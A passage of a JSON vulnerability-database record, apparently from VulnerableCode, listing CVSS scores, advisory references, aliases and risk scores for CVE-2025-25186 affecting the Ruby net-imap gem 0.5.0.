"scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://ruby.github.io/net-imap/Net/IMAP/AppendUIDData.html" }, { "reference_url": "https://ruby.github.io/net-imap/Net/IMAP/CopyUIDData.html", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" }, { "value": "6.0", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://ruby.github.io/net-imap/Net/IMAP/CopyUIDData.html" }, { "reference_url": "https://ruby.github.io/net-imap/Net/IMAP/UIDPlusData.html", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" }, { "value": "6.0", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://ruby.github.io/net-imap/Net/IMAP/UIDPlusData.html" }, { "reference_url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1103791", "reference_id": "1103791", "reference_type": "", "scores": [], "url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1103791" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2344680", "reference_id": "2344680", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2344680" }, { "reference_url": "https://github.com/advisories/GHSA-7fc5-f82f-cx69", "reference_id": "GHSA-7fc5-f82f-cx69", "reference_type": "", "scores": [ { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-7fc5-f82f-cx69" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2025:10217", "reference_id": "RHSA-2025:10217", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2025:10217" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2025:3906", "reference_id": "RHSA-2025:3906", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2025:3906" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2025:4493", "reference_id": "RHSA-2025:4493", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2025:4493" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2025:8131", "reference_id": "RHSA-2025:8131", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2025:8131" }, { "reference_url": "https://usn.ubuntu.com/7418-1/", "reference_id": "USN-7418-1", "reference_type": "", "scores": [], "url": "https://usn.ubuntu.com/7418-1/" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/69494?format=api", "purl": "pkg:gem/net-imap@0.5.6", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-5zsx-353j-8kax" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:gem/net-imap@0.5.6" } ], "aliases": [ "CVE-2025-25186", "GHSA-7fc5-f82f-cx69" ], "risk_score": 3.1, "exploitability": "0.5", "weighted_severity": "6.2", "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-wyjh-cuuy-zbeb" } ], "fixing_vulnerabilities": [], "risk_score": "3.1", "resource_url": "http://public2.vulnerablecode.io/packages/pkg:gem/net-imap@0.5.0" }